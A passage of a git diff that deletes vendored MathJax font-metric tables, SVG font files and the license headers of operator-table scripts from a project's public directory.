-        [10,10,3],[12,12,4],[14,15,5],[17,17,6],[20,20,7],[24,24,8],[28,28,9],[33,34,11],
-        [39,40,13],[46,47,15],[55,56,18],[65,66,21],[77,78,25],[92,93,30]
-      ],
-      0x221A: [  // SQUARE ROOT
-        [8,13,5],[9,16,6],[11,19,7],[12,22,8],[15,25,9],[17,31,11],[20,36,13],[24,43,16],
-        [29,50,18],[34,60,22],[40,71,26],[48,85,31],[57,100,36],[68,119,43]
-      ],
-      0x222B: [  // INTEGRAL
-        [7,16,6],[8,19,7],[10,23,9],[12,26,10],[14,31,12],[16,38,15],[19,44,17],[22,53,21],
-        [27,62,24],[32,74,29],[37,88,34],[44,105,41],[53,124,48],[63,147,57]
-      ],
-      0x222C: [  // DOUBLE INTEGRAL
-        [10,16,6],[13,19,7],[15,23,9],[18,26,10],[21,31,12],[25,38,15],[29,44,17],[35,53,21],
-        [41,62,24],[49,74,29],[58,88,34],[69,105,41],[82,124,48],[98,147,57]
-      ],
-      0x222D: [  // TRIPLE INTEGRAL
-        [14,16,6],[17,19,7],[20,23,9],[24,26,10],[28,31,12],[33,38,15],[39,44,17],[47,53,21],
-        [56,62,24],[66,74,29],[78,88,34],[93,105,41],[110,124,48],[131,147,57]
-      ],
-      0x222E: [  // CONTOUR INTEGRAL
-        [7,16,6],[8,19,7],[10,23,9],[12,26,10],[14,31,12],[16,38,15],[19,44,17],[22,53,21],
-        [27,62,24],[32,74,29],[37,88,34],[44,105,41],[53,124,48],[63,147,57]
-      ],
-      0x22C0: [  // N-ARY LOGICAL AND
-        [8,11,4],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],
-        [30,40,13],[35,47,15],[42,56,18],[50,66,21],[59,78,25],[70,93,30]
-      ],
-      0x22C1: [  // N-ARY LOGICAL OR
-        [8,11,4],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],
-        [30,40,13],[35,47,15],[42,56,18],[50,66,21],[59,78,25],[70,93,30]
-      ],
-      0x22C2: [  // N-ARY INTERSECTION
-        [8,10,3],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],
-        [30,40,13],[35,47,15],[42,56,18],[50,66,21],[59,78,25],[70,93,30]
-      ],
-      0x22C3: [  // N-ARY UNION
-        [8,10,3],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],
-        [30,40,13],[35,47,15],[42,56,18],[50,66,21],[59,78,25],[70,93,30]
-      ],
-      0x2308: [  // LEFT CEILING
-        [4,13,5],[5,16,6],[6,19,7],[6,22,8],[8,25,9],[9,30,11],[10,36,13],[12,42,15],
-        [15,50,18],[17,60,22],[21,71,26],[24,85,31],[29,100,36],[34,119,43]
-      ],
-      0x2309: [  // RIGHT CEILING
-        [2,13,5],[3,16,6],[3,19,7],[4,22,8],[4,25,9],[5,30,11],[6,36,13],[8,42,15],
-        [9,50,18],[10,60,22],[12,71,26],[15,85,31],[17,100,36],[20,119,43]
-      ],
-      0x230A: [  // LEFT FLOOR
-        [4,13,5],[5,16,6],[6,19,7],[6,22,8],[8,25,9],[9,30,11],[10,36,13],[12,43,16],
-        [15,50,18],[17,60,22],[21,72,26],[24,85,31],[29,100,36],[34,119,43]
-      ],
-      0x230B: [  // RIGHT FLOOR
-        [2,13,5],[3,16,6],[3,19,7],[4,22,8],[4,25,9],[5,30,11],[6,36,13],[8,43,16],
-        [9,50,18],[10,60,22],[12,72,26],[15,85,31],[17,100,36],[20,119,43]
-      ],
-      0x27E8: [  // MATHEMATICAL LEFT ANGLE BRACKET
-        [4,13,5],[5,16,6],[6,19,7],[7,22,8],[8,25,9],[9,31,11],[11,36,13],[13,43,16],
-        [15,50,18],[18,60,22],[21,71,26],[25,85,31],[29,100,36],[35,119,43]
-      ],
-      0x27E9: [  // MATHEMATICAL RIGHT ANGLE BRACKET
-        [4,13,5],[4,16,6],[5,19,7],[6,22,8],[7,25,9],[9,31,11],[10,36,13],[12,43,16],
-        [14,50,18],[17,60,22],[20,71,26],[24,85,31],[28,100,36],[33,119,43]
-      ],
-      0x2A00: [  // N-ARY CIRCLED DOT OPERATOR
-        [10,10,3],[13,12,4],[15,15,5],[18,18,6],[21,21,7],[25,24,8],[29,28,9],[34,34,11],
-        [41,40,13],[48,47,15],[57,56,18],[68,66,21],[81,78,25],[96,93,30]
-      ],
-      0x2A01: [  // N-ARY CIRCLED PLUS OPERATOR
-        [10,10,3],[12,13,4],[15,15,5],[18,17,6],[21,21,7],[25,24,8],[29,28,9],[34,34,11],
-        [41,40,13],[48,47,15],[57,56,18],[68,66,21],[81,78,25],[96,93,30]
-      ],
-      0x2A02: [  // N-ARY CIRCLED TIMES OPERATOR
-        [10,10,3],[13,12,4],[15,15,5],[18,18,6],[21,21,7],[25,24,8],[29,28,9],[34,34,11],
-        [41,40,13],[48,47,15],[57,56,18],[68,66,21],[81,78,25],[96,93,30]
-      ],
-      0x2A04: [  // N-ARY UNION OPERATOR WITH PLUS
-        [8,10,3],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],
-        [30,40,13],[35,47,15],[42,56,18],[50,65,21],[59,78,25],[70,93,30]
-      ],
-      0x2A06: [  // N-ARY SQUARE UNION OPERATOR
-        [7,10,3],[9,12,4],[11,15,5],[13,18,6],[15,21,7],[18,24,8],[21,28,9],[25,34,11],
-        [29,40,13],[35,47,15],[42,55,18],[49,66,21],[59,78,25],[70,93,30]
-      ]
-    },
-
-    "MathJax_Size3": {
-      0x20: [  // SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x28: [  // LEFT PARENTHESIS
-        [5,17,7],[6,20,8],[7,24,9],[9,29,11],[10,34,13],[12,40,16],[14,47,18],[17,56,22],
-        [20,67,26],[24,79,31],[28,94,37],[33,112,44],[39,133,52],[47,158,62]
-      ],
-      0x29: [  // RIGHT PARENTHESIS
-        [4,17,7],[5,20,8],[6,24,9],[7,29,11],[8,34,13],[9,40,16],[11,47,18],[13,56,22],
-        [15,67,26],[18,79,31],[21,94,37],[25,112,44],[30,133,52],[35,158,62]
-      ],
-      0x2F: [  // SOLIDUS
-        [7,17,7],[9,20,8],[10,24,9],[12,28,11],[14,33,13],[17,40,16],[20,47,18],[23,56,22],
-        [28,67,26],[33,79,31],[39,94,37],[46,112,44],[55,133,52],[66,158,62]
-      ],
-      0x5B: [  // LEFT SQUARE BRACKET
-        [4,17,7],[5,20,8],[6,24,10],[7,28,11],[8,33,13],[9,41,17],[11,48,19],[12,57,23],
-        [15,66,26],[17,79,31],[21,94,37],[24,111,44],[29,133,52],[34,158,62]
-      ],
-      0x5C: [  // REVERSE SOLIDUS
-        [7,17,7],[9,20,8],[10,24,9],[12,28,11],[14,33,13],[17,40,16],[20,47,18],[23,56,22],
-        [28,67,26],[33,79,31],[39,94,37],[46,112,44],[55,133,52],[65,158,62]
-      ],
-      0x5D: [  // RIGHT SQUARE BRACKET
-        [2,17,7],[3,20,8],[3,24,10],[4,28,11],[4,33,13],[5,41,17],[6,48,19],[7,57,23],
-        [8,66,26],[10,79,31],[11,94,37],[13,111,44],[16,133,52],[19,158,62]
-      ],
-      0x7B: [  // LEFT CURLY BRACKET
-        [5,17,7],[6,20,8],[7,24,9],[8,29,11],[9,34,13],[11,40,16],[13,47,18],[15,56,22],
-        [18,67,26],[21,79,31],[25,94,37],[29,112,44],[35,133,52],[41,158,62]
-      ],
-      0x7D: [  // RIGHT CURLY BRACKET
-        [5,17,7],[6,20,8],[7,24,9],[8,29,11],[9,34,13],[11,40,16],[13,47,18],[15,56,22],
-        [18,67,26],[21,79,31],[25,94,37],[29,112,44],[35,133,52],[41,158,62]
-      ],
-      0xA0: [  // NO-BREAK SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-        [11,2,-4],[13,2,-5],[16,2,-6],[18,3,-7],[22,3,-8],[26,4,-9],[30,4,-11],[35,5,-13],
-        [41,6,-16],[49,7,-19],[58,8,-22],[69,10,-26],[82,12,-31],[97,14,-37]
-      ],
-      0x2DC: [  // SMALL TILDE
-        [10,2,-4],[12,2,-5],[15,2,-6],[17,2,-7],[20,2,-8],[24,2,-10],[29,4,-11],[34,4,-13],
-        [40,5,-16],[48,5,-20],[57,6,-24],[67,7,-28],[80,8,-34],[95,9,-40]
-      ],
-      0x302: [  // COMBINING CIRCUMFLEX ACCENT
-        [11,2,-4],[14,2,-5],[16,2,-6],[19,3,-7],[22,3,-8],[26,4,-9],[30,4,-11],[35,5,-13],
-        [42,6,-16],[49,7,-19],[58,8,-22],[69,10,-26],[82,12,-31],[97,14,-37]
-      ],
-      0x303: [  // COMBINING TILDE
-        [10,2,-4],[12,2,-5],[15,2,-6],[17,2,-7],[20,2,-8],[24,2,-10],[29,4,-11],[34,4,-13],
-        [40,5,-16],[48,5,-20],[57,6,-24],[68,7,-28],[80,8,-34],[95,9,-40]
-      ],
-      0x221A: [  // SQUARE ROOT
-        [8,17,7],[9,21,8],[10,25,10],[12,30,12],[15,35,14],[17,41,16],[20,48,19],[24,57,23],
-        [29,68,27],[34,80,32],[40,95,38],[48,113,45],[57,134,53],[67,159,63]
-      ],
-      0x2308: [  // LEFT CEILING
-        [4,17,7],[5,20,8],[6,25,10],[7,29,12],[8,34,14],[10,41,16],[12,48,19],[14,57,23],
-        [16,68,27],[19,80,32],[23,94,37],[27,113,45],[32,134,53],[38,159,63]
-      ],
-      0x2309: [  // RIGHT CEILING
-        [3,17,7],[3,20,8],[5,25,10],[4,29,12],[5,34,14],[6,41,16],[7,48,19],[8,57,23],
-        [10,68,27],[12,80,32],[14,94,37],[16,113,45],[19,134,53],[23,159,63]
-      ],
-      0x230A: [  // LEFT FLOOR
-        [4,18,7],[5,21,8],[6,25,10],[7,29,11],[8,34,13],[10,40,16],[12,48,19],[14,57,23],
-        [16,68,27],[19,80,32],[23,95,38],[27,113,45],[32,134,53],[38,159,63]
-      ],
-      0x230B: [  // RIGHT FLOOR
-        [3,18,7],[3,21,8],[5,25,10],[4,29,11],[5,34,13],[6,40,16],[7,48,19],[8,57,23],
-        [10,68,27],[12,80,32],[14,95,38],[16,113,45],[19,134,53],[23,159,63]
-      ],
-      0x27E8: [  // MATHEMATICAL LEFT ANGLE BRACKET
-        [5,18,7],[6,21,8],[7,25,10],[8,30,12],[10,35,14],[11,41,16],[13,48,19],[16,57,23],
-        [19,68,27],[22,80,32],[26,95,38],[31,113,45],[37,134,53],[44,159,63]
-      ],
-      0x27E9: [  // MATHEMATICAL RIGHT ANGLE BRACKET
-        [5,17,7],[6,21,8],[7,25,10],[8,30,12],[9,35,14],[11,41,16],[13,48,19],[15,57,23],
-        [18,68,27],[21,80,32],[25,95,38],[29,113,45],[35,134,53],[41,159,63]
-      ]
-    },
-
-    "MathJax_Size4": {
-      0x20: [  // SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x28: [  // LEFT PARENTHESIS
-        [6,21,9],[7,25,10],[8,30,12],[9,36,15],[11,42,17],[13,50,21],[15,59,24],[18,70,29],
-        [21,83,35],[25,99,41],[30,118,49],[36,140,58],[42,166,69],[50,198,82]
-      ],
-      0x29: [  // RIGHT PARENTHESIS
-        [4,22,9],[5,25,10],[6,30,12],[7,36,15],[8,42,17],[10,50,21],[11,59,24],[13,70,29],
-        [16,84,35],[19,99,41],[22,118,49],[26,140,58],[31,166,69],[37,198,82]
-      ],
-      0x2F: [  // SOLIDUS
-        [9,21,9],[11,25,10],[12,30,12],[15,35,15],[17,42,17],[21,50,21],[24,59,24],[29,70,29],
-        [34,83,35],[41,99,41],[48,118,49],[57,140,58],[68,166,69],[81,198,82]
-      ],
-      0x5B: [  // LEFT SQUARE BRACKET
-        [4,21,9],[5,25,11],[6,30,12],[7,35,15],[8,42,17],[10,51,22],[12,60,25],[14,70,29],
-        [16,83,35],[19,99,41],[23,117,49],[27,140,58],[32,166,69],[38,197,82]
-      ],
-      0x5C: [  // REVERSE SOLIDUS
-        [9,21,9],[11,25,10],[12,30,12],[15,35,15],[17,42,17],[21,50,21],[24,59,24],[29,70,29],
-        [34,83,35],[41,99,41],[48,118,49],[57,140,58],[68,166,69],[81,198,82]
-      ],
-      0x5D: [  // RIGHT SQUARE BRACKET
-        [3,21,9],[3,25,11],[4,30,12],[4,35,15],[5,42,17],[6,51,22],[7,60,25],[8,70,29],
-        [9,83,35],[11,99,41],[13,117,49],[15,140,58],[18,166,69],[21,197,82]
-      ],
-      0x7B: [  // LEFT CURLY BRACKET
-        [5,21,9],[6,25,10],[7,30,12],[8,36,15],[10,42,17],[11,50,21],[13,59,24],[16,70,29],
-        [19,83,35],[22,99,41],[26,118,49],[31,140,58],[37,166,69],[44,198,82]
-      ],
-      0x7D: [  // RIGHT CURLY BRACKET
-        [5,21,9],[6,25,10],[7,30,12],[8,36,15],[10,42,17],[11,50,21],[13,59,24],[16,70,29],
-        [19,83,35],[22,99,41],[26,118,49],[31,140,58],[37,166,69],[44,198,82]
-      ],
-      0xA0: [  // NO-BREAK SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x2C6: [  // MODIFIER LETTER CIRCUMFLEX ACCENT
-        [15,2,-4],[17,3,-5],[20,3,-6],[24,4,-7],[28,4,-8],[33,5,-9],[39,6,-11],[46,7,-13],
-        [54,8,-16],[64,10,-18],[76,11,-22],[90,13,-26],[107,16,-31],[127,19,-37]
-      ],
-      0x2DC: [  // SMALL TILDE
-        [14,2,-4],[17,2,-5],[20,3,-5],[24,5,-6],[28,4,-8],[33,4,-10],[38,5,-11],[45,6,-14],
-        [54,7,-16],[63,8,-19],[75,10,-23],[89,12,-27],[106,14,-32],[125,16,-38]
-      ],
-      0x302: [  // COMBINING CIRCUMFLEX ACCENT
-        [15,2,-4],[17,3,-5],[20,3,-6],[24,4,-7],[28,4,-8],[33,5,-9],[39,6,-11],[46,7,-13],
-        [54,8,-16],[64,10,-18],[76,11,-22],[90,13,-26],[107,16,-31],[127,19,-37]
-      ],
-      0x303: [  // COMBINING TILDE
-        [14,2,-4],[16,2,-5],[19,3,-5],[23,5,-6],[27,4,-8],[32,4,-10],[37,5,-11],[44,6,-14],
-        [53,7,-16],[63,8,-19],[74,10,-23],[88,12,-27],[105,14,-32],[125,16,-38]
-      ],
-      0x221A: [  // SQUARE ROOT
-        [8,22,9],[9,26,11],[10,31,13],[12,36,15],[15,43,18],[17,51,21],[20,60,25],[24,71,30],
-        [29,84,35],[34,100,42],[40,118,49],[48,141,59],[57,167,70],[67,199,83]
-      ],
-      0x2308: [  // LEFT CEILING
-        [5,21,9],[6,26,11],[7,30,13],[8,36,15],[9,43,18],[11,51,21],[13,60,25],[15,70,29],
-        [18,84,35],[21,100,42],[25,118,49],[30,141,59],[36,166,69],[42,199,83]
-      ],
-      0x2309: [  // RIGHT CEILING
-        [3,21,9],[4,26,11],[4,30,13],[6,36,15],[6,43,18],[7,51,21],[8,60,25],[9,70,29],
-        [11,84,35],[13,100,42],[15,118,49],[18,141,59],[21,166,69],[25,199,83]
-      ],
-      0x230A: [  // LEFT FLOOR
-        [5,22,9],[6,26,11],[7,31,13],[8,36,15],[9,43,18],[11,50,21],[13,60,25],[15,70,29],
-        [18,84,35],[21,100,42],[25,118,49],[30,140,58],[36,167,70],[42,199,83]
-      ],
-      0x230B: [  // RIGHT FLOOR
-        [3,22,9],[4,26,11],[4,31,13],[6,36,15],[6,43,18],[7,50,21],[8,60,25],[9,70,29],
-        [11,84,35],[13,100,42],[15,118,49],[18,140,58],[21,167,70],[25,199,83]
-      ],
-      0x239B: [  // LEFT PARENTHESIS UPPER HOOK
-        [6,13,5],[7,16,6],[9,19,7],[10,22,8],[12,26,10],[14,31,11],[17,36,13],[20,43,16],
-        [24,51,19],[28,60,22],[33,72,26],[40,85,31],[47,101,37],[56,120,44]
-      ],
-      0x239C: [  // LEFT PARENTHESIS EXTENSION
-        [3,6,1],[4,7,1],[5,7,1],[5,9,1],[6,10,1],[7,12,1],[9,13,1],[10,16,1],
-        [12,18,1],[14,22,1],[17,25,1],[20,31,2],[24,36,2],[28,43,2]
-      ],
-      0x239D: [  // LEFT PARENTHESIS LOWER HOOK
-        [6,14,5],[7,16,6],[9,19,7],[10,22,8],[12,26,9],[14,31,11],[17,36,13],[20,43,15],
-        [24,51,18],[28,61,22],[33,72,26],[40,85,30],[47,101,36],[56,120,43]
-      ],
-      0x239E: [  // RIGHT PARENTHESIS UPPER HOOK
-        [5,13,5],[5,16,6],[6,19,7],[7,22,8],[9,26,10],[10,31,11],[12,36,13],[14,43,16],
-        [17,51,19],[20,60,22],[23,72,26],[28,85,31],[33,101,37],[39,120,44]
-      ],
-      0x239F: [  // RIGHT PARENTHESIS EXTENSION
-        [5,6,1],[5,7,1],[6,7,1],[7,9,1],[9,10,1],[10,12,1],[12,13,1],[14,16,1],
-        [17,18,1],[20,22,1],[23,25,1],[28,31,2],[33,36,2],[39,43,2]
-      ],
-      0x23A0: [  // RIGHT PARENTHESIS LOWER HOOK
-        [5,14,5],[5,16,6],[6,19,7],[7,22,8],[9,26,9],[10,31,11],[12,36,13],[14,43,15],
-        [17,51,18],[20,61,22],[23,72,26],[28,85,30],[33,101,36],[39,120,43]
-      ],
-      0x23A1: [  // LEFT SQUARE BRACKET UPPER CORNER
-        [5,13,5],[6,16,6],[7,19,7],[8,22,8],[9,25,9],[11,31,11],[14,36,13],[16,42,15],
-        [19,50,18],[22,60,22],[27,72,26],[32,84,30],[37,100,36],[44,119,43]
-      ],
-      0x23A2: [  // LEFT SQUARE BRACKET EXTENSION
-        [3,5,0],[4,5,0],[4,6,0],[5,8,0],[6,9,0],[7,10,0],[8,12,0],[10,14,0],
-        [12,17,0],[14,20,0],[16,24,0],[19,28,0],[23,34,0],[27,40,0]
-      ],
-      0x23A3: [  // LEFT SQUARE BRACKET LOWER CORNER
-        [5,13,5],[6,16,6],[7,19,7],[8,22,8],[9,25,9],[11,31,11],[14,36,13],[16,42,15],
-        [19,50,18],[22,61,22],[27,72,26],[32,84,30],[37,100,36],[44,119,43]
-      ],
-      0x23A4: [  // RIGHT SQUARE BRACKET UPPER CORNER
-        [3,13,5],[3,16,6],[5,19,7],[5,22,8],[5,25,9],[6,31,11],[8,36,13],[9,42,15],
-        [11,50,18],[12,60,22],[15,72,26],[18,84,30],[21,100,36],[23,119,43]
-      ],
-      0x23A5: [  // RIGHT SQUARE BRACKET EXTENSION
-        [3,5,0],[3,5,0],[4,6,0],[5,8,0],[5,9,0],[6,10,0],[7,12,0],[9,14,0],
-        [10,17,0],[12,20,0],[14,24,0],[17,28,0],[20,34,0],[23,40,0]
-      ],
-      0x23A6: [  // RIGHT SQUARE BRACKET LOWER CORNER
-        [3,13,5],[3,16,6],[5,19,7],[5,22,8],[5,25,9],[6,31,11],[8,36,13],[9,42,15],
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-      ],
-      0x23A7: [  // LEFT CURLY BRACKET UPPER HOOK
-        [5,8,1],[6,9,1],[8,10,1],[9,12,1],[10,14,1],[12,16,1],[14,19,1],[17,22,1],
-        [20,26,1],[24,31,1],[29,37,1],[34,44,2],[40,52,2],[48,62,2]
-      ],
-      0x23A8: [  // LEFT CURLY BRACKET MIDDLE PIECE
-        [4,14,5],[5,16,6],[5,19,7],[6,23,9],[7,27,10],[9,32,12],[10,37,14],[12,44,16],
-        [15,52,19],[17,62,23],[20,73,27],[24,87,32],[28,103,38],[34,123,45]
-      ],
-      0x23A9: [  // LEFT CURLY BRACKET LOWER HOOK
-        [6,8,7],[6,9,8],[8,10,9],[9,12,11],[10,14,13],[12,16,15],[14,19,18],[17,22,21],
-        [20,26,25],[24,31,30],[29,37,36],[34,43,42],[40,51,50],[48,61,60]
-      ],
-      0x23AA: [  // CURLY BRACKET EXTENSION
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-      ],
-      0x23AB: [  // RIGHT CURLY BRACKET UPPER HOOK
-        [4,8,1],[5,9,1],[5,10,1],[6,12,1],[7,14,1],[9,16,1],[10,19,1],[12,22,1],
-        [14,26,1],[17,31,1],[20,37,1],[24,43,1],[28,52,2],[34,62,2]
-      ],
-      0x23AC: [  // RIGHT CURLY BRACKET MIDDLE PIECE
-        [6,14,5],[6,16,6],[8,19,7],[9,23,9],[10,27,10],[13,32,12],[14,37,14],[17,44,16],
-        [20,52,19],[24,62,23],[29,73,27],[34,87,32],[40,103,38],[48,123,45]
-      ],
-      0x23AD: [  // RIGHT CURLY BRACKET LOWER HOOK
-        [4,8,7],[5,9,8],[5,10,9],[6,12,11],[7,14,13],[9,16,15],[10,19,18],[12,22,21],
-        [14,26,25],[17,31,30],[20,37,36],[24,44,42],[28,52,50],[34,62,60]
-      ],
-      0x23B7: [  // RADICAL SYMBOL BOTTOM
-        [5,14,7],[6,16,8],[8,19,9],[9,22,11],[11,26,13],[13,31,15],[15,37,18],[18,43,21],
-        [21,51,25],[25,61,30],[30,72,35],[35,86,42],[42,101,49],[49,121,59]
-      ],
-      0x27E8: [  // MATHEMATICAL LEFT ANGLE BRACKET
-        [5,22,9],[6,26,11],[7,31,13],[9,36,15],[10,43,18],[12,51,21],[14,60,25],[17,70,29],
-        [20,84,35],[24,100,42],[28,118,49],[33,140,58],[39,166,69],[47,199,83]
-      ],
-      0x27E9: [  // MATHEMATICAL RIGHT ANGLE BRACKET
-        [5,22,9],[6,26,11],[7,31,13],[8,36,15],[10,43,18],[11,51,21],[13,60,25],[16,70,29],
-        [19,84,35],[22,100,42],[26,118,49],[31,140,58],[37,167,70],[44,199,83]
-      ],
-      0xE000: [  // MJ-TeX: radical symbol vertical extender
-        [5,6,1],[6,7,1],[8,8,1],[9,9,1],[11,10,1],[13,12,1],[15,14,1],[18,16,1],
-        [21,19,1],[25,22,1],[29,26,1],[35,30,1],[41,36,1],[49,43,1]
-      ],
-      0xE001: [  // MJ-TeX: radical symbol top corner piece
-        [8,5,0],[9,6,1],[11,7,1],[13,8,1],[15,9,0],[18,11,1],[22,13,1],[25,15,1],
-        [30,18,1],[36,21,1],[42,25,1],[50,30,1],[60,35,1],[71,41,1]
-      ],
-      0xE150: [  // MJ-TeX: horizontal brace, down left piece
-        [5,3,2],[5,3,2],[6,5,3],[7,5,3],[8,5,3],[9,6,4],[10,8,5],[12,8,5],
-        [14,10,6],[17,12,8],[19,14,9],[24,16,10],[28,19,12],[33,23,15]
-      ],
-      0xE151: [  // MJ-TeX: horizontal brace, down right piece
-        [5,3,2],[5,4,2],[6,5,3],[7,5,3],[8,5,3],[9,7,4],[11,8,5],[12,8,5],
-        [15,10,6],[17,12,7],[20,14,9],[23,16,10],[28,19,12],[33,23,14]
-      ],
-      0xE152: [  // MJ-TeX: horizontal brace, upper left piece
-        [5,3,0],[5,3,0],[6,4,0],[7,4,0],[8,5,0],[9,6,0],[10,7,0],[12,8,0],
-        [14,10,0],[17,11,0],[19,13,0],[24,16,0],[28,19,0],[33,22,0]
-      ],
-      0xE153: [  // MJ-TeX: horizontal brace, upper right piece
-        [5,3,0],[5,3,0],[6,4,0],[7,4,0],[8,5,0],[9,6,0],[11,7,0],[12,8,0],
-        [15,10,0],[17,12,0],[20,14,0],[24,16,0],[28,19,0],[33,23,0]
-      ],
-      0xE154: [  // MJ-TeX: horizontal brace, extender
-        [4,1,0],[5,1,0],[6,2,0],[6,2,0],[7,2,0],[8,2,0],[9,3,0],[11,3,0],
-        [13,4,0],[15,4,0],[18,5,0],[21,6,0],[24,7,0],[28,8,0]
-      ]
-    }
-
-  });
-
-  AJAX.loadComplete(HTMLCSS.imgDir+HTMLCSS.imgPacked+"/imagedata.js");
-
-})(MathJax.OutputJax["HTML-CSS"],MathJax.Ajax);
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/svg/MathJax_AMS-Regular.svg b/public/MathJax/fonts/HTML-CSS/TeX/svg/MathJax_AMS-Regular.svg
deleted file mode 100644
index 9167cfdd..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/svg/MathJax_AMS-Regular.svg
+++ /dev/null
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deleted file mode 100644
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deleted file mode 100644
index d1c469bd..00000000
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deleted file mode 100644
index 1cbd94f4..00000000
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/svg/MathJax_SansSerif-Bold.svg b/public/MathJax/fonts/HTML-CSS/TeX/svg/MathJax_SansSerif-Bold.svg
deleted file mode 100644
index fc549dab..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/svg/MathJax_SansSerif-Bold.svg
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index 782aa1b3..00000000
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diff --git a/public/MathJax/jax/element/mml/jax.js b/public/MathJax/jax/element/mml/jax.js
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diff --git a/public/MathJax/jax/element/mml/optable/Arrows.js b/public/MathJax/jax/element/mml/optable/Arrows.js
deleted file mode 100644
index 6520b48b..00000000
--- a/public/MathJax/jax/element/mml/optable/Arrows.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/Arrows.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/element/mml/optable/BasicLatin.js b/public/MathJax/jax/element/mml/optable/BasicLatin.js
deleted file mode 100644
index dbea932e..00000000
--- a/public/MathJax/jax/element/mml/optable/BasicLatin.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/BasicLatin.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
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diff --git a/public/MathJax/jax/element/mml/optable/CombDiacritMarks.js b/public/MathJax/jax/element/mml/optable/CombDiacritMarks.js
deleted file mode 100644
index f6833011..00000000
--- a/public/MathJax/jax/element/mml/optable/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/element/mml/optable/CombDiactForSymbols.js b/public/MathJax/jax/element/mml/optable/CombDiactForSymbols.js
deleted file mode 100644
index 14706b09..00000000
--- a/public/MathJax/jax/element/mml/optable/CombDiactForSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/CombDiactForSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/element/mml/optable/Dingbats.js b/public/MathJax/jax/element/mml/optable/Dingbats.js
deleted file mode 100644
index 163c1e66..00000000
--- a/public/MathJax/jax/element/mml/optable/Dingbats.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/Dingbats.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/element/mml/optable/GeneralPunctuation.js b/public/MathJax/jax/element/mml/optable/GeneralPunctuation.js
deleted file mode 100644
index 36384be7..00000000
--- a/public/MathJax/jax/element/mml/optable/GeneralPunctuation.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/GeneralPunctuation.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/element/mml/optable/GeometricShapes.js b/public/MathJax/jax/element/mml/optable/GeometricShapes.js
deleted file mode 100644
index ecd06e41..00000000
--- a/public/MathJax/jax/element/mml/optable/GeometricShapes.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/element/mml/optable/GeometricShapes.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
